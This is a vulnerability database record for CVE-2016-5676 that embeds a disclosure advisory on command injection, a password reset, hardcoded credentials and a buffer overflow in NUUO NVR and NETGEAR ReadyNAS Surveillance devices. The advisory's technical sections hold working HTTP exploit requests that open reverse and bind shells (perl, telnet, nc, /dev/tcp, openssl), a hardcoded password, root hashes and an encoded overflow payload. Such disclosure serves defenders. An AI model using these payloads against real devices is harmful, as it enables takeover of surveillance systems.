Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201608-0089",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.1.5"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.75"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.7.5"
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.10"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.2.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.4"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.9.6"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.2.0.4"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.4.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.1.20"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.1.2"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.0,
"vendor": "netgear",
"version": "1.3.2.14"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "2.3.7.9"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 1.0,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.5 and later"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.5 and later"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "arm edition 1.1.1 to 1.4.1"
},
{
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "x86 edition 1.1.1 to 1.4.1"
},
{
"model": "inc nvrmini",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "2"
},
{
"model": "inc netgear readynas surveillance",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "x86"
},
{
"model": "inc netgear readynas surveillance",
"scope": "gte",
"trust": 0.6,
"vendor": "nuuo",
"version": "1.1.13"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.1"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:nuuo:nvrsolo",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:netgear:readynas_surveillance",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5676",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CVE-2016-5676",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CNVD-2016-06367",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "VHN-94495",
"impactScore": 2.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:N/I:P/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"exploitabilityScore": 3.9,
"id": "CVE-2016-5676",
"impactScore": 3.6,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5676",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-5676",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2016-06367",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-270",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-94495",
"trust": 0.1,
"value": "MEDIUM"
},
{
"author": "VULMON",
"id": "CVE-2016-5676",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06367"
},
{
"db": "VULHUB",
"id": "VHN-94495"
},
{
"db": "VULMON",
"id": "CVE-2016-5676"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004490"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-270"
},
{
"db": "NVD",
"id": "CVE-2016-5676"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cgi-bin/cgi_system in NUUO NVRmini 2 1.7.5 through 2.x, NUUO NVRsolo 1.7.5 through 2.x, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to reset the administrator password via a cmd=loaddefconfig action. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. Supplementary information : CWE Vulnerability type by CWE-285: Improper Authorization ( Inappropriate authentication ) Has been identified. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. \nAttackers can exploit these issues to execute arbitrary code, execute remote command and retrieve sensitive information; other attacks may also be possible. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:\nPOST /__nvr_status___.php HTTP/1.1\nusername=nuuoeng\u0026password=qwe23622260\u0026submit=Submit\n\n\n#5 \nVulnerability: Harcoded root password \nCVE-2016-5678\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 \n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n\nThe NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa